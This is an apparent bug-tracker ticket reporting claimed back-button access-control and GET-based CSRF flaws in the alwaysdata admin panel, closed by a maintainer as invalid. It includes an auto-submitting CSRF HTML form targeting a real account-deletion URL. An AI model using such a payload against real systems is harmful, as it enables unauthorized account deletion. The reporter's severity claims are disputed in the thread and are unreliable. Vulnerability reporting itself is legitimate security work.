Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by AKG - 14.04.2025
Last edited by cbay - 14.04.2025

FS#154 - Broken Access Control via Back Button (Alt+Left Arrow) and a GET-based CSRF leading to Account Delet

Two critical vulnerabilities were identified in the `admin.alwaysdata.com` panel:

1. Broken Access Control via browser back-navigation (Alt+โ†), exposing sensitive user data post-logout.
2. CSRF (Cross-Site Request Forgery) via a GET request that allows unauthorized deletion of user accounts.

โ€”

### ๐Ÿงช Steps to Reproduce

#### ๐Ÿž Part 1: Broken Access Control via Browser Back Navigation

1. Login to the application: [https://admin.alwaysdata.com](https://admin.alwaysdata.com)
2. Navigate to user details:

 Example:  
 `https://admin.alwaysdata.com/admin/details/384337/deletee/`

3. Logout from the application.
4. Press Alt + Left Arrow (or use browser back button).
5. โš ๏ธ Result: The previously authenticated page is shown again, leaking sensitive user information (even though the user has logged out).

Impact: An attacker who gains temporary access to the session or has physical access to the system can access previously authenticated content even after logout.

โ€”

#### ๐Ÿž Part 2: CSRF - Account Deletion via GET Request

The following endpoint allows account deletion via a GET request, making it vulnerable to CSRF.

##### ๐Ÿ”“ CSRF Exploit HTML

```html

  <body onload="document.forms[0].submit()">
    <form action="https://admin.alwaysdata.com/admin/details/384337/delete/" method="GET">
      <input type="hidden" name="reason" value="Testing CSRF exploit" />
    </form>
  </body>

```

#### Steps:

1. Host this HTML file on any domain under your control.
2. Send the link to a logged-in admin user (victim).
3. When the victim clicks the link, the page auto-submits a GET request to:

 ```
 https://admin.alwaysdata.com/admin/details/384337/delete/?reason=Testing+CSRF+exploit
 ```

4. If he /she click the delete button it will be deleted.

โ€”

### ๐Ÿ’ฅ Combined Impact

By chaining these two issues, an attacker could:

- Extract sensitive data via broken access control (using back-navigation after logout).
- Delete user accounts via CSRF without authentication or confirmation.

โ€”

### ๐Ÿ” Recommended Fixes

1. Fix Broken Access Control:

  1. Invalidate cached pages using proper cache-control headers:

```http

   Cache-Control: no-store, no-cache, must-revalidate
   Pragma: no-cache
   ```
 - Implement server-side checks to reject requests after session termination.

2. Fix CSRF in Sensitive Actions:

  1. Use POST requests for state-changing actions (like deletion).
  2. Implement CSRF tokens and validate them on every form submission.

โ€”

POC Link: https://drive.google.com/file/d/1BSTP_m8nxiP4h-bQIq9OsiCRmYlBJuaO/view?usp=sharing

Closed by  cbay
14.04.2025 08:16
Reason for closing:  Invalid
Admin
cbay commented on 14.04.2025 08:16

Hello,

Your own PoC shows neither of both "vulnerabilities" you described.

Kind regards,
Cyril

AKG commented on 14.04.2025 10:18

i did not understand what you say. after viewing the password delete page if i sign out from my account. if i use alt+lest error in URL it shows the id of the user. if a user uses this account in a office after log out if another user come and do the procedure he can see the id. and using this he can send the CSRF POC to the user and if the victim open and confirm the submit button the account will be deleted.

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing